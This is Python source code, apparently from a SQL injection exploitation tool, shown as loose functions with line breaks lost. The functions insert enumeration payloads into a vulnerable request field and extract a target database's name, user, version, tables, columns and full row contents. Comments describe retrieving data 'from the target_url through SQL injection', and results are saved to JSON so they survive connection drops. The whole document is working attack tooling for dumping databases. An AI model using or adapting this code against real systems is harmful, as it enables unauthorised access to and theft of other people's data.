def get_rows(self, col_name, table_name, limit=None): '''Retrieve the list of rows for a particular column in a table''' row_list = [] enum_logger.info( "Enumerating rows for table: '{}', column: '{}' ... ".format( table_name, col_name)) if limit: prog_bar = trange(limit) else: prog_bar = trange(int(self.DB['tables'][table_name]['row_count'])) for i in prog_bar: live_enum_pl = self.sqli.replace( self.payload_delimiter, self.enum_rows_pl.format(table_name=table_name, col_name=col_name) + self.limits.replace("~num~", str(i))) self.data[self.vuln_field] = live_enum_pl row = self.send_sqli() prog_bar.set_description("Enumerated row data: '{}'".format( clr.red(row))) row_list.append(row) return row_list
def enumerate_tables(self): '''Start enumerating various details including table names, number of columns and rows, and column names''' enum_logger.info("Enumerating table names") total_tables = self.DB['info']['table_count'] if not self.debug: print( clr.yellow( "\n'{}' tables found, Enumerating columns ...\n".format( clr.red(total_tables)))) prog_bar = trange(int(total_tables)) table_dict = {} with jsonstreams.Stream(jsonstreams.Type.object, fd=self.get_fd(), pretty=True, indent=4) as s: '''Using jsonstreams to write the enumerated information to a json file as it is retreived from the target_url through SQL injection. This is done so that in the event of a crash or connection reset/timeout, whatever was retreived is not lost.''' s.write('date', self.DB['date']) s.write('params', self.DB['params']) s.write('info', self.DB['info']) with s.subobject('tables') as t: for i in prog_bar: live_enum_pl = self.sqli.replace( self.payload_delimiter, self.enum_tables_pl + self.limits.replace("~num~", str(i))) self.data[self.vuln_field] = live_enum_pl table = self.send_sqli() prog_bar.set_description("Table '{}': '{}'".format( clr.red(str(i + 1)), clr.red(table))) enum_logger.info("Enumerating table '{}': '{}'".format( i + 1, table)) table_dict[table] = {} table_dict[table]['row_count'] = self.get_num_rows(table) table_dict[table]['col_count'] = self.get_num_cols(table) table_dict[table]['cols'] = self.get_cols( table_dict[table]['col_count'], table) t.write(table, table_dict[table]) return table_dict
def print_table_info(db, format=None): '''Print the table information to the screen in a tabular format.''' if format == "table": i = 0 for table,content in db['tables'].items(): i = i+1 head = PrettyTable(["{}".format(clr.white(str(i))), "{}: {}".format(clr.red("Table Name"),clr.white(table)), "{}: {}".format(clr.red("Columns"),clr.white(content['col_count'])), "{}: {}".format(clr.red("Rows"),clr.white(content['row_count'])) ]) body = render_cols(content['cols']) print(head) print(body) else: for table,content in db['tables'].items(): print("\n{table}: {table_info}\t{column}: {column_info}\t{rows}: {rows_info}" \ .format(table=clr.red("Table Name"),table_info=clr.white(table), column=clr.red("Columns"),column_info=clr.white(content['col_count']), rows=clr.red("Rows"),rows_info=clr.white(content['row_count']))) print(clr.yellow("COLUMNS:")) for col in content['cols']: print(clr.yellow("\t{}".format(col)))
def render_tables(target): tables = PrettyTable(["No.","Tables"]) tables.align = "l" i = 0 for table,_ in target.DB['tables'].items(): i = i+1 tables.add_row([clr.red(str(i)),clr.yellow(table)]) return tables
def generate_partial_row_content(self, row, table, col, buff, iterations): '''Generator for retrieving the complete contents of a row''' prog_bar = trange(iterations) for pos in prog_bar: row_part = self.get_partial_row_content(row, table, col, (buff * pos) + 1, buff) prog_bar.set_description("Retrieving partial row: {}".format( clr.red(remove_rn(row_part)))) yield row_part
def generate_rows(self, col_name, table_name, limit=None): '''A generator for enumerating rows for a particular column in a table''' row_list = [] curr_enumerated = len(self.DB['tables'][table_name]['cols'][col_name]) if limit: prog_bar = trange(curr_enumerated, limit) else: row_count = int(self.DB['tables'][table_name]['row_count']) prog_bar = tqdm(range(curr_enumerated, row_count)) for i in prog_bar: live_enum_pl = self.sqli.replace( self.payload_delimiter, self.enum_rows_pl.format(table_name=table_name, col_name=col_name) + self.limits.replace("~num~", str(i))) self.data[self.vuln_field] = live_enum_pl row = self.send_sqli() row_len = self.get_row_len(str(i), table_name, col_name) self.DB['tables'][table_name]['cols'][col_name].append( [row_len, row]) index_of_last = len( self.DB['tables'][table_name]['cols'][col_name]) - 1 if int(row_len) > self.buff: row = row + " ({})".format(clr.red(row_len)) self.set_long_row(table_name, col_name, index_of_last) else: row = row + " ({})".format(row_len) prog_bar.set_description("Enumerated row data: '{}'".format( clr.red(remove_rn(row)))) row_list.append(row) yield row
def render_rows(col,col_name): rows = PrettyTable(["No.",col_name]) rows.align = "l" i = 0 for row in col: i = i+1 if len(row) > WRAP_WIDTH: lines = wrap(row, WRAP_WIDTH) rows.add_row([clr.red(str(i)),remove_rn(lines[0])]) for line in lines[1:]: rows.add_row(['',remove_rn(line)]) else: rows.add_row([clr.red(str(i)),remove_rn(row)]) return rows
def render_cols(table): cols = PrettyTable(["No.","Columns"]) cols.align = "l" i = 0 for col,_ in table.items(): i = i+1 cols.add_row([clr.red(str(i)),clr.yellow(col)]) return cols
def get_info(self): '''Retrieve basic information from the database including database name, current user, number of tables and database version''' print(clr.yellow("Enumerating DB Info")) info_dict = {} prog_bar = tqdm(self.info.items()) for info, query in prog_bar: enum_logger.info("Retreiving {}".format(info)) self.construct_vuln_field(self.info[info]) prog_bar.set_description("Retreiving '{}'".format(clr.red(info))) info_dict[info] = self.send_sqli() return info_dict
def print_db_info(db, format=None): '''Print the DB information to the screen in a tabular format.''' if format == "table": info = PrettyTable(["{}: {}".format(clr.red("DB Name"),clr.white(db['info']['dbname'])), "{}: {}".format(clr.red("DB User"),clr.white(db['info']['username'])), "{}: {}".format(clr.red("DB Version"),clr.white(db['info']['version'])), "{}: {}".format(clr.red("Tables"),clr.white(db['info']['table_count'])) ]) print(info) else: print(("\n{db}: {db_info}\t{user}: {user_info}\t{version}: {version_info}\t{tables}: {tables_info}\n") \ .format(db=clr.red("DB Name"), db_info=clr.white(db['info']['dbname']), user=clr.red("DB User"), user_info=clr.white(db['info']['username']), version=clr.red("DB Version"), version_info=clr.white(db['info']['version']), tables=clr.red("Tables"), tables_info=clr.white(db['info']['table_count'])))
def get_cols(self, col_count, table): '''Retrieve the list of columns names in a table''' cols_dict = {} enum_logger.info("Enumerated column: '{}' ... ".format(table)) prog_bar = trange(int(col_count)) for i in prog_bar: live_enum_pl = self.sqli.replace( self.payload_delimiter, self.enum_cols_pl.format(table_name=table) + self.limits.replace("~num~", str(i))) self.data[self.vuln_field] = live_enum_pl col = self.send_sqli() prog_bar.set_description("Column: '{}'".format(clr.red(col))) cols_dict[col] = [] return cols_dict